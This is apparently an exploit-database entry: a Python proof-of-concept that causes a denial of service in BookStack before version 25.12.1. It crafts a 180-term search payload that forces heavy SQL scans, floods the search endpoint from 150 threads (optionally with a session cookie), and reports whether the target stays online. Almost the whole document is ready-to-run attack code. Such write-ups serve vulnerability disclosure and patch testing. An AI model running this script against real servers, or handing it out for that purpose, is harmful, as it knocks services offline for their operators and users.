BookStack 25.12.1 – Denial of Service
# Exploit Title: BookStack 25.12.1 - Denial of Service Search Terms (Resource Exhaustion) # Date: 2026-04-29 # Exploit Author: Gabriel Rodrigues (TEXUGO) # Vendor Homepage: https://www.bookstackapp.com # Software Link: https://github.com/BookStackApp/BookStack # Version: < 25.12.1 # Tested on: BookStack v25.12 (Docker) + PHP 8.3 + MySQL 8.0 # CVE: Pending (Request ID: 1970573) # References: # https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/ # https://github.com/BookStackApp/BookStack/security/advisories (if any) """ BookStack DoS PoC python3 poc_dos_search.py http://localhost:8080 [cookie] """ import requests, sys, time from urllib.parse import quote from concurrent.futures import ThreadPoolExecutor # Payload: 100 termos + 50 exatos + 30 tags = 180 termos de busca # Gera query SQL com muitos OR LIKE, full table scans e subqueries PAYLOAD = " ".join([f"t{i}" for i in range(100)] + [f'"e{i}"' for i in range(50)] + [f"[t{i}=v{i}]" for i in range(30)]) stop = False def attack(url, headers): s = requests.Session() while not stop: try: s.get(url, headers=headers, timeout=30) except: pass def main(): global stop url = sys.argv[1].rstrip("/") cookie = sys.argv[2] if len(sys.argv) > 2 else None search_url = f"{url}/search?term={quote(PAYLOAD)}" headers = {"Cookie": cookie} if cookie else {} print(f"[*] Query: {PAYLOAD[:80]}...") print(f"[*] URL completa tem {len(search_url)} bytes") print(f"[*] Atacando {url} com 150 threads por 30s\n") with ThreadPoolExecutor(150) as ex: [ex.submit(attack, search_url, headers) for _ in range(150)] for i in range(15): time.sleep(2) try: r = requests.get(url, timeout=3) print(f"[{(i+1)*2:2d}s] ONLINE - {r.status_code}") except requests.exceptions.Timeout: print(f"[{(i+1)*2:2d}s] OFFLINE - TIMEOUT") except: print(f"[{(i+1)*2:2d}s] OFFLINE - CONNECTION ERROR") stop = True if __name__ == "__main__": main() |